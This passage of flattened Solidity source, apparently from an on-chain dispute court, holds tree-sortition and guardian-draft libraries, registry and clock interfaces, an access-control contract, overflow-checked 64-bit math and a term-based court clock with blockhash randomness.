value in the same order * @param _resultValues List of node values found for each requested value in the same order */ function _search( Tree storage self, uint256[] memory _values, SearchParams memory _params, uint256[] memory _resultKeys, uint256[] memory _resultValues ) private view { uint256 levelKeyLessSignificantNibble = _params.level.mul(BITS_IN_NIBBLE); for (uint256 childNumber = 0; childNumber < CHILDREN; childNumber++) { // Return if we already found enough values if (_params.foundValues >= _values.length) { break; } // Build child node key shifting the child number to the position of the less significant nibble of // the keys for the level being analyzed, and adding it to the key of the parent node. For example, // for a tree with height 5, if we are checking the children of the second node of the level 3, whose // key is 0x0000000000000000000000000000000000000000000000000000000000001000, its children keys are: // Child 0: 0x0000000000000000000000000000000000000000000000000000000000001000 // Child 1: 0x0000000000000000000000000000000000000000000000000000000000001100 // Child 2: 0x0000000000000000000000000000000000000000000000000000000000001200 // ... // Child 15: 0x0000000000000000000000000000000000000000000000000000000000001f00 uint256 childNodeKey = _params.parentKey.add(childNumber << levelKeyLessSignificantNibble); uint256 childNodeValue = getRecentNodeAt(self, _params.level, childNodeKey, _params.time); // Check how many values belong to the subtree of this node. As they are ordered, it will be a contiguous // subset starting from the beginning, so we only need to know the length of that subset. uint256 newVisitedTotal = _params.visitedTotal.add(childNodeValue); uint256 subtreeIncludedValues = _getValuesIncludedInSubtree(_values, _params.foundValues, newVisitedTotal); // If there are some values included in the subtree of the child node, visit them if (subtreeIncludedValues > 0) { // If the child node being analyzed is a leaf, add it to the list of results a number of times equals // to the number of values that were included in it. Otherwise, descend one level. if (_params.level == ITEMS_LEVEL) { _copyFoundNode(_params.foundValues, subtreeIncludedValues, childNodeKey, _resultKeys, childNodeValue, _resultValues); } else { SearchParams memory nextLevelParams = SearchParams( _params.time, _params.level - 1, // No need for SafeMath: we already checked above that the level being checked is greater than zero childNodeKey, _params.foundValues, _params.visitedTotal ); _search(self, _values, nextLevelParams, _resultKeys, _resultValues); } // Update the number of values that were already found _params.foundValues = _params.foundValues.add(subtreeIncludedValues); } // Update the visited total for the next node in this level _params.visitedTotal = newVisitedTotal; } } /** * @dev Private function to check if a new key can be added to the tree based on the current height of the tree * @param _currentHeight Current height of the tree to check if it supports adding the given key * @param _newKey Key willing to be added to the tree with the given current height * @return True if the current height of the tree should be increased to add the new key, false otherwise. */ function _shouldAddLevel(uint256 _currentHeight, uint256 _newKey) private pure returns (bool) { // Build a mask that will match all the possible keys for the given height. For example: // Height 1: 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0 (up to 16 keys) // Height 2: 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00 (up to 32 keys) // ... // Height 64: 0x0000000000000000000000000000000000000000000000000000000000000000 (up to 16^64 keys - tree max height) uint256 shift = _currentHeight.mul(BITS_IN_NIBBLE); uint256 mask = uint256(-1) << shift; // Check if the given key can be represented in the tree with the current given height using the mask. return (_newKey & mask) != 0; } /** * @dev Private function to tell how many values of a list can be found in a subtree * @param _values List of values being searched in ascending order * @param _foundValues Number of values that were already found and should be ignore * @param _subtreeTotal Total sum of the given subtree to check the numbers that are included in it * @return Number of values in the list that are included in the given subtree */ function _getValuesIncludedInSubtree(uint256[] memory _values, uint256 _foundValues, uint256 _subtreeTotal) private pure returns (uint256) { // Look for all the values that can be found in the given subtree uint256 i = _foundValues; while (i < _values.length && _values[i] < _subtreeTotal) { i++; } return i - _foundValues; } /** * @dev Private function to copy a node a given number of times to a results list. This function assumes the given * results list have enough size to support the requested copy. * @param _from Index of the results list to start copying the given node * @param _times Number of times the given node will be copied * @param _key Key of the node to be copied * @param _resultKeys Lists of key results to copy the given node key to * @param _value Value of the node to be copied * @param _resultValues Lists of value results to copy the given node value to */ function _copyFoundNode( uint256 _from, uint256 _times, uint256 _key, uint256[] memory _resultKeys, uint256 _value, uint256[] memory _resultValues ) private pure { for (uint256 i = 0; i < _times; i++) { _resultKeys[_from + i] = _key; _resultValues[_from + i] = _value; } } } /** * @title GuardiansTreeSortition - Library to perform guardians sortition over a `HexSumTree` */ library GuardiansTreeSortition { using SafeMath for uint256; using HexSumTree for HexSumTree.Tree; string private constant ERROR_INVALID_INTERVAL_SEARCH = "TREE_INVALID_INTERVAL_SEARCH"; string private constant ERROR_SORTITION_LENGTHS_MISMATCH = "TREE_SORTITION_LENGTHS_MISMATCH"; /** * @dev Search random items in the tree based on certain restrictions * @param _termRandomness Randomness to compute the seed for the draft * @param _disputeId Identification number of the dispute to draft guardians for * @param _termId Current term when the draft is being computed * @param _selectedGuardians Number of guardians already selected for the draft * @param _batchRequestedGuardians Number of guardians to be selected in the given batch of the draft * @param _roundRequestedGuardians Total number of guardians requested to be drafted * @param _sortitionIteration Number of sortitions already performed for the given draft * @return guardiansIds List of guardian ids obtained based on the requested search * @return guardiansBalances List of active balances for each guardian obtained based on the requested search */ function batchedRandomSearch( HexSumTree.Tree storage tree, bytes32 _termRandomness, uint256 _disputeId, uint64 _termId, uint256 _selectedGuardians, uint256 _batchRequestedGuardians, uint256 _roundRequestedGuardians, uint256 _sortitionIteration ) internal view returns (uint256[] memory guardiansIds, uint256[] memory guardiansBalances) { (uint256 low, uint256 high) = getSearchBatchBounds( tree, _termId, _selectedGuardians, _batchRequestedGuardians, _roundRequestedGuardians ); uint256[] memory balances = _computeSearchRandomBalances( _termRandomness, _disputeId, _sortitionIteration, _batchRequestedGuardians, low, high ); (guardiansIds, guardiansBalances) = tree.search(balances, _termId); require(guardiansIds.length == guardiansBalances.length, ERROR_SORTITION_LENGTHS_MISMATCH); require(guardiansIds.length == _batchRequestedGuardians, ERROR_SORTITION_LENGTHS_MISMATCH); } /** * @dev Get the bounds for a draft batch based on the active balances of the guardians * @param _termId Term ID of the active balances that will be used to compute the boundaries * @param _selectedGuardians Number of guardians already selected for the draft * @param _batchRequestedGuardians Number of guardians to be selected in the given batch of the draft * @param _roundRequestedGuardians Total number of guardians requested to be drafted * @return low Low bound to be used for the sortition to draft the requested number of guardians for the given batch * @return high High bound to be used for the sortition to draft the requested number of guardians for the given batch */ function getSearchBatchBounds( HexSumTree.Tree storage tree, uint64 _termId, uint256 _selectedGuardians, uint256 _batchRequestedGuardians, uint256 _roundRequestedGuardians ) internal view returns (uint256 low, uint256 high) { uint256 totalActiveBalance = tree.getRecentTotalAt(_termId); low = _selectedGuardians.mul(totalActiveBalance).div(_roundRequestedGuardians); uint256 newSelectedGuardians = _selectedGuardians.add(_batchRequestedGuardians); high = newSelectedGuardians.mul(totalActiveBalance).div(_roundRequestedGuardians); } /** * @dev Get a random list of active balances to be searched in the guardians tree for a given draft batch * @param _termRandomness Randomness to compute the seed for the draft * @param _disputeId Identification number of the dispute to draft guardians for (for randomness) * @param _sortitionIteration Number of sortitions already performed for the given draft (for randomness) * @param _batchRequestedGuardians Number of guardians to be selected in the given batch of the draft * @param _lowBatchBound Low bound to be used for the sortition batch to draft the requested number of guardians * @param _highBatchBound High bound to be used for the sortition batch to draft the requested number of guardians * @return Random list of active balances to be searched in the guardians tree for the given draft batch */ function _computeSearchRandomBalances( bytes32 _termRandomness, uint256 _disputeId, uint256 _sortitionIteration, uint256 _batchRequestedGuardians, uint256 _lowBatchBound, uint256 _highBatchBound ) internal pure returns (uint256[] memory) { // Calculate the interval to be used to search the balances in the tree. Since we are using a modulo function to compute the // random balances to be searched, intervals will be closed on the left and open on the right, for example [0,10). require(_highBatchBound > _lowBatchBound, ERROR_INVALID_INTERVAL_SEARCH); uint256 interval = _highBatchBound - _lowBatchBound; // Compute an ordered list of random active balance to be searched in the guardians tree uint256[] memory balances = new uint256[](_batchRequestedGuardians); for (uint256 batchGuardianNumber = 0; batchGuardianNumber < _batchRequestedGuardians; batchGuardianNumber++) { // Compute a random seed using: // - The inherent randomness associated to the term from blockhash // - The disputeId, so 2 disputes in the same term will have different outcomes // - The sortition iteration, to avoid getting stuck if resulting guardians are dismissed due to locked balance // - The guardian number in this batch bytes32 seed = keccak256(abi.encodePacked(_termRandomness, _disputeId, _sortitionIteration, batchGuardianNumber)); // Compute a random active balance to be searched in the guardians tree using the generated seed within the // boundaries computed for the current batch. balances[batchGuardianNumber] = _lowBatchBound.add(uint256(seed) % interval); // Make sure it's ordered, flip values if necessary for (uint256 i = batchGuardianNumber; i > 0 && balances[i] < balances[i - 1]; i--) { uint256 tmp = balances[i - 1]; balances[i - 1] = balances[i]; balances[i] = tmp; } } return balances; } } /* * SPDX-License-Identifier: MIT */ interface ILockManager { /** * @dev Tell whether a user can unlock a certain amount of tokens */ function canUnlock(address user, uint256 amount) external view returns (bool); } /* * SPDX-License-Identifier: MIT */ interface IGuardiansRegistry { /** * @dev Assign a requested amount of guardian tokens to a guardian * @param _guardian Guardian to add an amount of tokens to * @param _amount Amount of tokens to be added to the available balance of a guardian */ function assignTokens(address _guardian, uint256 _amount) external; /** * @dev Burn a requested amount of guardian tokens * @param _amount Amount of tokens to be burned */ function burnTokens(uint256 _amount) external; /** * @dev Draft a set of guardians based on given requirements for a term id * @param _params Array containing draft requirements: * 0. bytes32 Term randomness * 1. uint256 Dispute id * 2. uint64 Current term id * 3. uint256 Number of seats already filled * 4. uint256 Number of seats left to be filled * 5. uint64 Number of guardians required for the draft * 6. uint16 Permyriad of the minimum active balance to be locked for the draft * * @return guardians List of guardians selected for the draft * @return length Size of the list of the draft result */ function draft(uint256[7] calldata _params) external returns (address[] memory guardians, uint256 length); /** * @dev Slash a set of guardians based on their votes compared to the winning ruling * @param _termId Current term id * @param _guardians List of guardian addresses to be slashed * @param _lockedAmounts List of amounts locked for each corresponding guardian that will be either slashed or returned * @param _rewardedGuardians List of booleans to tell whether a guardian's active balance has to be slashed or not * @return Total amount of slashed tokens */ function slashOrUnlock(uint64 _termId, address[] calldata _guardians, uint256[] calldata _lockedAmounts, bool[] calldata _rewardedGuardians) external returns (uint256 collectedTokens); /** * @dev Try to collect a certain amount of tokens from a guardian for the next term * @param _guardian Guardian to collect the tokens from * @param _amount Amount of tokens to be collected from the given guardian and for the requested term id * @param _termId Current term id * @return True if the guardian has enough unlocked tokens to be collected for the requested term, false otherwise */ function collectTokens(address _guardian, uint256 _amount, uint64 _termId) external returns (bool); /** * @dev Lock a guardian's withdrawals until a certain term ID * @param _guardian Address of the guardian to be locked * @param _termId Term ID until which the guardian's withdrawals will be locked */ function lockWithdrawals(address _guardian, uint64 _termId) external; /** * @dev Tell the active balance of a guardian for a given term id * @param _guardian Address of the guardian querying the active balance of * @param _termId Term ID querying the active balance for * @return Amount of active tokens for guardian in the requested past term id */ function activeBalanceOfAt(address _guardian, uint64 _termId) external view returns (uint256); /** * @dev Tell the total amount of active guardian tokens at the given term id * @param _termId Term ID querying the total active balance for * @return Total amount of active guardian tokens at the given term id */ function totalActiveBalanceAt(uint64 _termId) external view returns (uint256); } // Brought from https://github.com/aragon/aragonOS/blob/v4.3.0/contracts/common/IsContract.sol // Adapted to use pragma ^0.5.17 and satisfy our linter rules contract IsContract { /* * NOTE: this should NEVER be used for authentication * (see pitfalls: https://github.com/fergarrui/ethereum-security/tree/master/contracts/extcodesize). * * This is only intended to be used as a sanity check that an address is actually a contract, * RATHER THAN an address not being a contract. */ function isContract(address _target) internal view returns (bool) { if (_target == address(0)) { return false; } uint256 size; assembly { size := extcodesize(_target) } return size > 0; } } contract ACL { string private constant ERROR_BAD_FREEZE = "ACL_BAD_FREEZE"; string private constant ERROR_ROLE_ALREADY_FROZEN = "ACL_ROLE_ALREADY_FROZEN"; string private constant ERROR_INVALID_BULK_INPUT = "ACL_INVALID_BULK_INPUT"; enum BulkOp { Grant, Revoke, Freeze } address internal constant FREEZE_FLAG = address(1); address internal constant ANY_ADDR = address(-1); // List of all roles assigned to different addresses mapping (bytes32 => mapping (address => bool)) public roles; event Granted(bytes32 indexed id, address indexed who); event Revoked(bytes32 indexed id, address indexed who); event Frozen(bytes32 indexed id); /** * @dev Tell whether an address has a role assigned * @param _who Address being queried * @param _id ID of the role being checked * @return True if the requested address has assigned the given role, false otherwise */ function hasRole(address _who, bytes32 _id) public view returns (bool) { return roles[_id][_who] || roles[_id][ANY_ADDR]; } /** * @dev Tell whether a role is frozen * @param _id ID of the role being checked * @return True if the given role is frozen, false otherwise */ function isRoleFrozen(bytes32 _id) public view returns (bool) { return roles[_id][FREEZE_FLAG]; } /** * @dev Internal function to grant a role to a given address * @param _id ID of the role to be granted * @param _who Address to grant the role to */ function _grant(bytes32 _id, address _who) internal { require(!isRoleFrozen(_id), ERROR_ROLE_ALREADY_FROZEN); require(_who != FREEZE_FLAG, ERROR_BAD_FREEZE); if (!hasRole(_who, _id)) { roles[_id][_who] = true; emit Granted(_id, _who); } } /** * @dev Internal function to revoke a role from a given address * @param _id ID of the role to be revoked * @param _who Address to revoke the role from */ function _revoke(bytes32 _id, address _who) internal { require(!isRoleFrozen(_id), ERROR_ROLE_ALREADY_FROZEN); if (hasRole(_who, _id)) { roles[_id][_who] = false; emit Revoked(_id, _who); } } /** * @dev Internal function to freeze a role * @param _id ID of the role to be frozen */ function _freeze(bytes32 _id) internal { require(!isRoleFrozen(_id), ERROR_ROLE_ALREADY_FROZEN); roles[_id][FREEZE_FLAG] = true; emit Frozen(_id); } /** * @dev Internal function to enact a bulk list of ACL operations */ function _bulk(BulkOp[] memory _op, bytes32[] memory _id, address[] memory _who) internal { require(_op.length == _id.length && _op.length == _who.length, ERROR_INVALID_BULK_INPUT); for (uint256 i = 0; i < _op.length; i++) { BulkOp op = _op[i]; if (op == BulkOp.Grant) { _grant(_id[i], _who[i]); } else if (op == BulkOp.Revoke) { _revoke(_id[i], _who[i]); } else if (op == BulkOp.Freeze) { _freeze(_id[i]); } } } } contract ModuleIds { // DisputeManager module ID - keccak256(abi.encodePacked("DISPUTE_MANAGER")) bytes32 internal constant MODULE_ID_DISPUTE_MANAGER = 0x14a6c70f0f6d449c014c7bbc9e68e31e79e8474fb03b7194df83109a2d888ae6; // GuardiansRegistry module ID - keccak256(abi.encodePacked("GUARDIANS_REGISTRY")) bytes32 internal constant MODULE_ID_GUARDIANS_REGISTRY = 0x8af7b7118de65da3b974a3fd4b0c702b66442f74b9dff6eaed1037254c0b79fe; // Voting module ID - keccak256(abi.encodePacked("VOTING")) bytes32 internal constant MODULE_ID_VOTING = 0x7cbb12e82a6d63ff16fe43977f43e3e2b247ecd4e62c0e340da8800a48c67346; // PaymentsBook module ID - keccak256(abi.encodePacked("PAYMENTS_BOOK")) bytes32 internal constant MODULE_ID_PAYMENTS_BOOK = 0xfa275b1417437a2a2ea8e91e9fe73c28eaf0a28532a250541da5ac0d1892b418; // Treasury module ID - keccak256(abi.encodePacked("TREASURY")) bytes32 internal constant MODULE_ID_TREASURY = 0x06aa03964db1f7257357ef09714a5f0ca3633723df419e97015e0c7a3e83edb7; } interface IModulesLinker { /** * @notice Update the implementations of a list of modules * @param _ids List of IDs of the modules to be updated * @param _addresses List of module addresses to be updated */ function linkModules(bytes32[] calldata _ids, address[] calldata _addresses) external; } // Brought from https://github.com/aragon/aragonOS/blob/v4.3.0/contracts/lib/math/SafeMath64.sol // Adapted to use pragma ^0.5.17 and satisfy our linter rules /** * @title SafeMath64 * @dev Math operations for uint64 with safety checks that revert on error */ library SafeMath64 { string private constant ERROR_ADD_OVERFLOW = "MATH64_ADD_OVERFLOW"; string private constant ERROR_SUB_UNDERFLOW = "MATH64_SUB_UNDERFLOW"; string private constant ERROR_MUL_OVERFLOW = "MATH64_MUL_OVERFLOW"; string private constant ERROR_DIV_ZERO = "MATH64_DIV_ZERO"; /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint64 _a, uint64 _b) internal pure returns (uint64) { uint256 c = uint256(_a) * uint256(_b); require(c < 0x010000000000000000, ERROR_MUL_OVERFLOW); // 2**64 (less gas this way) return uint64(c); } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint64 _a, uint64 _b) internal pure returns (uint64) { require(_b > 0, ERROR_DIV_ZERO); // Solidity only automatically asserts when dividing by 0 uint64 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint64 _a, uint64 _b) internal pure returns (uint64) { require(_b <= _a, ERROR_SUB_UNDERFLOW); uint64 c = _a - _b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint64 _a, uint64 _b) internal pure returns (uint64) { uint64 c = _a + _b; require(c >= _a, ERROR_ADD_OVERFLOW); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint64 a, uint64 b) internal pure returns (uint64) { require(b != 0, ERROR_DIV_ZERO); return a % b; } } // Brought from https://github.com/aragon/aragonOS/blob/v4.3.0/contracts/common/Uint256Helpers.sol // Adapted to use pragma ^0.5.17 and satisfy our linter rules library Uint256Helpers { uint256 private constant MAX_UINT8 = uint8(-1); uint256 private constant MAX_UINT64 = uint64(-1); string private constant ERROR_UINT8_NUMBER_TOO_BIG = "UINT8_NUMBER_TOO_BIG"; string private constant ERROR_UINT64_NUMBER_TOO_BIG = "UINT64_NUMBER_TOO_BIG"; function toUint8(uint256 a) internal pure returns (uint8) { require(a <= MAX_UINT8, ERROR_UINT8_NUMBER_TOO_BIG); return uint8(a); } function toUint64(uint256 a) internal pure returns (uint64) { require(a <= MAX_UINT64, ERROR_UINT64_NUMBER_TOO_BIG); return uint64(a); } } // Brought from https://github.com/aragon/aragonOS/blob/v4.3.0/contracts/common/TimeHelpers.sol // Adapted to use pragma ^0.5.17 and satisfy our linter rules contract TimeHelpers { using Uint256Helpers for uint256; /** * @dev Returns the current block number. * Using a function rather than `block.number` allows us to easily mock the block number in * tests. */ function getBlockNumber() internal view returns (uint256) { return block.number; } /** * @dev Returns the current block number, converted to uint64. * Using a function rather than `block.number` allows us to easily mock the block number in * tests. */ function getBlockNumber64() internal view returns (uint64) { return getBlockNumber().toUint64(); } /** * @dev Returns the current timestamp. * Using a function rather than `block.timestamp` allows us to easily mock it in * tests. */ function getTimestamp() internal view returns (uint256) { return block.timestamp; // solium-disable-line security/no-block-members } /** * @dev Returns the current timestamp, converted to uint64. * Using a function rather than `block.timestamp` allows us to easily mock it in * tests. */ function getTimestamp64() internal view returns (uint64) { return getTimestamp().toUint64(); } } interface IClock { /** * @dev Ensure that the current term of the clock is up-to-date * @return Identification number of the current term */ function ensureCurrentTerm() external returns (uint64); /** * @dev Transition up to a certain number of terms to leave the clock up-to-date * @param _maxRequestedTransitions Max number of term transitions allowed by the sender * @return Identification number of the term ID after executing the heartbeat transitions */ function heartbeat(uint64 _maxRequestedTransitions) external returns (uint64); /** * @dev Ensure that a certain term has its randomness set * @return Randomness of the current term */ function ensureCurrentTermRandomness() external returns (bytes32); /** * @dev Tell the last ensured term identification number * @return Identification number of the last ensured term */ function getLastEnsuredTermId() external view returns (uint64); /** * @dev Tell the current term identification number. Note that there may be pending term transitions. * @return Identification number of the current term */ function getCurrentTermId() external view returns (uint64); /** * @dev Tell the number of terms the clock should transition to be up-to-date * @return Number of terms the clock should transition to be up-to-date */ function getNeededTermTransitions() external view returns (uint64); /** * @dev Tell the information related to a term based on its ID * @param _termId ID of the term being queried * @return startTime Term start time * @return randomnessBN Block number used for randomness in the requested term * @return randomness Randomness computed for the requested term */ function getTerm(uint64 _termId) external view returns (uint64 startTime, uint64 randomnessBN, bytes32 randomness); /** * @dev Tell the randomness of a term even if it wasn't computed yet * @param _termId Identification number of the term being queried * @return Randomness of the requested term */ function getTermRandomness(uint64 _termId) external view returns (bytes32); } contract CourtClock is IClock, TimeHelpers { using SafeMath64 for uint64; string private constant ERROR_TERM_DOES_NOT_EXIST = "CLK_TERM_DOES_NOT_EXIST"; string private constant ERROR_TERM_DURATION_TOO_LONG = "CLK_TERM_DURATION_TOO_LONG"; string private constant ERROR_TERM_RANDOMNESS_NOT_YET = "CLK_TERM_RANDOMNESS_NOT_YET"; string private constant ERROR_TERM_RANDOMNESS_UNAVAILABLE = "CLK_TERM_RANDOMNESS_UNAVAILABLE"; string private constant ERROR_BAD_FIRST_TERM_START_TIME = "CLK_BAD_FIRST_TERM_START_TIME"; string private constant ERROR_TOO_MANY_TRANSITIONS = "CLK_TOO_MANY_TRANSITIONS"; string private constant ERROR_INVALID_TRANSITION_TERMS = "CLK_INVALID_TRANSITION_TERMS"; string private constant ERROR_CANNOT_DELAY_STARTED_COURT = "CLK_CANNOT_DELAY_STARTED_PROT"; string private constant ERROR_CANNOT_DELAY_PAST_START_TIME = "CLK_CANNOT_DELAY_PAST_START_TIME"; // Maximum number of term transitions a callee may have to assume in order to call certain functions that require the Court being up-to-date uint64 internal constant MAX_AUTO_TERM_TRANSITIONS_ALLOWED = 1; // Max duration in seconds that a term can last uint64 internal constant MAX_TERM_DURATION = 365 days; // Max time until first term starts since contract is deployed uint64 internal constant MAX_FIRST_TERM_DELAY_PERIOD = 2 * MAX_TERM_DURATION; struct Term { uint64 startTime; // Timestamp when the term started uint64 randomnessBN; // Block number for entropy bytes32 randomness; // Entropy from randomnessBN block hash } // Duration in seconds for each term of the Court uint64 private termDuration; // Last ensured term id uint64 private termId; // List of Court terms indexed by id mapping (uint64 => Term) private terms; event Heartbeat(uint64 previousTermId, uint64 currentTermId); event StartTimeDelayed(uint64 previousStartTime, uint64 currentStartTime); /** * @dev Ensure a certain term has already been processed * @param _termId Identification number of the term to be checked */ modifier termExists(uint64 _termId) { require(_termId <= termId, ERROR_TERM_DOES_NOT_EXIST); _; } /** * @dev Constructor function * @param _termParams Array containing: * 0. _termDuration Duration in seconds per term * 1. _firstTermStartTime Timestamp in seconds when the court will open (to give time for guardian on-boarding) */ constructor(uint64[2] memory _termParams) public { uint64 _termDuration = _termParams[0]; uint64 _firstTermStartTime = _termParams[1]; require(_termDuration < MAX_TERM_DURATION, ERROR_TERM_DURATION_TOO_LONG); require(_firstTermStartTime >= getTimestamp64() + _termDuration, ERROR_BAD_FIRST_TERM_START_TIME); require(_firstTermStartTime <= getTimestamp64() + MAX_FIRST_TERM_DELAY_PERIOD, ERROR_BAD_FIRST_TERM_START_TIME); termDuration = _termDuration; // No need for SafeMath: we already checked values above terms[0].startTime = _firstTermStartTime - _termDuration; } /** * @notice Ensure that the current term of the Court is up-to-date. If the Court is outdated by more than `MAX_AUTO_TERM_TRANSITIONS_ALLOWED` * terms, the heartbeat function must be called manually instead. * @return Identification number of the current term */ function ensureCurrentTerm() external returns (uint64) { return _ensureCurrentTerm(); } /** * @notice Transition up to `_maxRequestedTransitions` terms * @param _maxRequestedTransitions Max number of term transitions allowed by the sender * @return Identification number of the term ID after executing the heartbeat transitions */ function heartbeat(uint64 _maxRequestedTransitions) external returns (uint64) { return _heartbeat(_maxRequestedTransitions); } /** * @notice Ensure that a certain term has its randomness set. As we allow to draft disputes requested for previous terms, if there * were mined more than 256 blocks for the current term, the blockhash of its randomness BN is no longer available, given * round will be able to be drafted in the following term. * @return Randomness of the current term */ function ensureCurrentTermRandomness() external returns (bytes32) { // If the randomness for the given term was already computed, return uint64 currentTermId = termId; Term storage term = terms[currentTermId]; bytes32 termRandomness = term.randomness; if (termRandomness != bytes32(0)) { return termRandomness; } // Compute term randomness bytes32 newRandomness = _computeTermRandomness(currentTermId); require(newRandomness != bytes32(0), ERROR_TERM_RANDOMNESS_UNAVAILABLE); term.randomness = newRandomness; return newRandomness; } /** * @dev Tell the term duration of the Court * @return Duration in seconds of the Court term */ function getTermDuration() external view returns (uint64) { return termDuration; } /** * @dev Tell the last ensured term identification number * @return Identification number of the last ensured term */ function getLastEnsuredTermId() external view returns (uint64) { return _lastEnsuredTermId(); } /** * @dev Tell the current term identification number. Note that there may be pending term transitions. * @return Identification number of the current term */ function getCurrentTermId() external view returns (uint64) { return _currentTermId(); } /** * @dev Tell the number of terms the Court should transition to be up-to-date * @return Number of terms the Court should transition to be up-to-date */ function getNeededTermTransitions() external view returns (uint64) { return _neededTermTransitions(); } /** * @dev Tell the information related to a term based on its ID. Note that if the term has not been reached, the * information returned won't be computed yet. This function allows querying future terms that were not computed yet. * @param _termId ID of the term being queried * @return startTime Term start time * @return randomnessBN Block number used for randomness in the requested term * @return randomness Randomness computed for the requested term */ function getTerm(uint64 _termId) external view returns (uint64 startTime, uint64 randomnessBN, bytes32 randomness) { Term storage term = terms[_termId]; return (term.startTime, term.randomnessBN, term.randomness); } /** * @dev Tell the randomness of a term even if it wasn't computed yet * @param _termId Identification number of the term being queried * @return Randomness of the requested term */ function getTermRandomness(uint64 _termId) external view termExists(_termId) returns (bytes32) { return _computeTermRandomness(_termId); } /** * @dev Internal function to ensure that the current term of the Court is up-to-date. If the Court is outdated by more than * `MAX_AUTO_TERM_TRANSITIONS_ALLOWED` terms, the heartbeat function must be called manually. * @return Identification number of the resultant term ID after executing the corresponding transitions */ function _ensureCurrentTerm() internal returns (uint64) { // Check the required number of transitions does not exceeds the max allowed number to be processed automatically uint64 requiredTransitions = _neededTermTransitions(); require(requiredTransitions <= MAX_AUTO_TERM_TRANSITIONS_ALLOWED, ERROR_TOO_MANY_TRANSITIONS); // If there are no transitions pending, return the last ensured term id if (uint256(requiredTransitions) == 0) { return termId; } // Process transition if there is at least one pending return _heartbeat(requiredTransitions); } /** * @dev Internal function to transition the Court terms up to a requested number of terms * @param _maxRequestedTransitions Max number of term transitions allowed by the sender * @return Identification number of the resultant term ID after executing the requested transitions */ function _heartbeat(uint64 _maxRequestedTransitions) internal returns (uint64) { // Transition the minimum number of terms between the amount requested and the amount actually needed uint64 neededTransitions = _neededTermTransitions(); uint256 transitions = uint256(_maxRequestedTransitions < neededTransitions ? _maxRequestedTransitions : neededTransitions); require(transitions > 0, ERROR_INVALID_TRANSITION_TERMS); uint64 blockNumber = getBlockNumber64(); uint64 previousTermId = termId; uint64 currentTermId = previousTermId; for (uint256 transition = 1; transition <= transitions; transition++) { // Term IDs are incremented by one based on the number of time periods since the Court started. Since time is represented in uint64, // even if we chose the minimum duration possible for a term (1 second), we can ensure terms will never reach 2^64 since time is // already assumed to fit in uint64. Term storage previousTerm = terms[currentTermId++]; Term storage currentTerm = terms[currentTermId]; _onTermTransitioned(currentTermId); // Set the start time of the new term. Note that we are using a constant term duration value to guarantee // equally long terms, regardless of heartbeats. currentTerm.startTime = previousTerm.startTime.add(termDuration); // In order to draft a random number of guardians in a term, we use a randomness factor for each term based on a // block number that is set once the term has started. Note that this information could not be known beforehand. currentTerm.randomnessBN = blockNumber + 1; } termId = currentTermId; emit Heartbeat(previousTermId, currentTermId); return currentTermId; } /** * @dev Internal function to delay the first term start time only if it wasn't reached yet * @param _newFirstTermStartTime New timestamp in seconds when the court will open */ function _delayStartTime(uint64 _newFirstTermStartTime) internal { require(_currentTermId() == 0, ERROR_CANNOT_DELAY_STARTED_COURT); Term storage term = terms[0]; uint64 currentFirstTermStartTime = term.startTime.add(termDuration); require(_newFirstTermStartTime > currentFirstTermStartTime, ERROR_CANNOT_DELAY_PAST_START_TIME); // No need for SafeMath: we already checked above that `_newFirstTermStartTime` > `currentFirstTermStartTime` >= `termDuration` term.startTime = _newFirstTermStartTime - termDuration; emit StartTimeDelayed(currentFirstTermStartTime, _newFirstTermStartTime); } /** * @dev Internal function to notify when a term has been transitioned. This function must be overridden to provide custom behavior. * @param _termId Identification number of the new current term that has been transitioned */ function _onTermTransitioned(uint64 _termId) internal; /** * @dev Internal function to tell the last ensured term identification number * @return Identification number of the last ensured term */ function _lastEnsuredTermId() internal view returns (uint64) { return termId; } /** * @dev Internal function to tell the current term identification number. Note that there may be pending term transitions. * @return Identification number of the current term */ function _currentTermId() internal view returns (uint64) { return termId.add(_neededTermTransitions()); } /** * @dev Internal function to tell the number of terms the Court should transition to be up-to-date * @return Number of terms the Court should transition to be up-to-date */ function _neededTermTransitions() internal view returns (uint64) { // Note that the Court is always initialized providing a start time for the first-term in the future. If that's the case, // no term transitions are required. uint64 currentTermStartTime = terms[termId].startTime; if (getTimestamp64() < currentTermStartTime) { return uint64(0); } // No need for SafeMath: we already know that the start time of the current term is in the past return (getTimestamp64() - currentTermStartTime) / termDuration; } /** * @dev Internal function to compute the randomness that will be used to draft guardians for the given term. This * function assumes the given term exists. To determine the randomness factor for a term we use the hash of a * block number that is set once the term has started to ensure it cannot be known beforehand. Note that the * hash function being used only works for the 256 most recent block numbers. * @param _termId Identification number of the term being queried * @return Randomness computed for the given term */ function _computeTermRandomness(uint64 _termId) internal view returns (bytes32) { Term storage term = terms[_termId]; require(getBlockNumber64() > term.randomnessBN, ERROR_TERM_RANDOMNESS_NOT_YET); return blockhash(term.randomnessBN); } } interface IConfig { /** * @dev Tell the full Court configuration parameters at a certain term * @param _termId Identification number of the term querying the Court config of * @return token Address of the token used to pay for fees * @return fees Array containing: * 0. guardianFee Amount of fee tokens that is paid per guardian per dispute * 1. draftFee Amount of fee tokens per guardian to cover the drafting cost * 2. settleFee Amount of fee tokens per guardian to cover round settlement cost * @return roundStateDurations Array containing the durations in terms of the different phases of a dispute: * 0. evidenceTerms Max submitting evidence period duration in terms * 1. commitTerms Commit period duration in terms * 2. revealTerms Reveal period duration in terms * 3. appealTerms Appeal period duration in terms * 4. appealConfirmationTerms Appeal confirmation period duration in terms * @return pcts Array containing: * 0. penaltyPct Permyriad of min active tokens balance to be locked for each drafted guardian (‱ - 1/10,000) * 1. finalRoundReduction Permyriad of fee reduction for the last appeal round (‱ - 1/10,000) * @return roundParams Array containing params for rounds: * 0. firstRoundGuardiansNumber Number of guardians to be drafted for the first round of disputes * 1. appealStepFactor Increasing factor for the number of guardians of each round of a dispute * 2. maxRegularAppealRounds Number of regular appeal rounds before the final round is triggered * @return appealCollateralParams Array containing params for appeal collateral: * 0. appealCollateralFactor Multiple of dispute fees required to appeal a preliminary ruling * 1. appealConfirmCollateralFactor 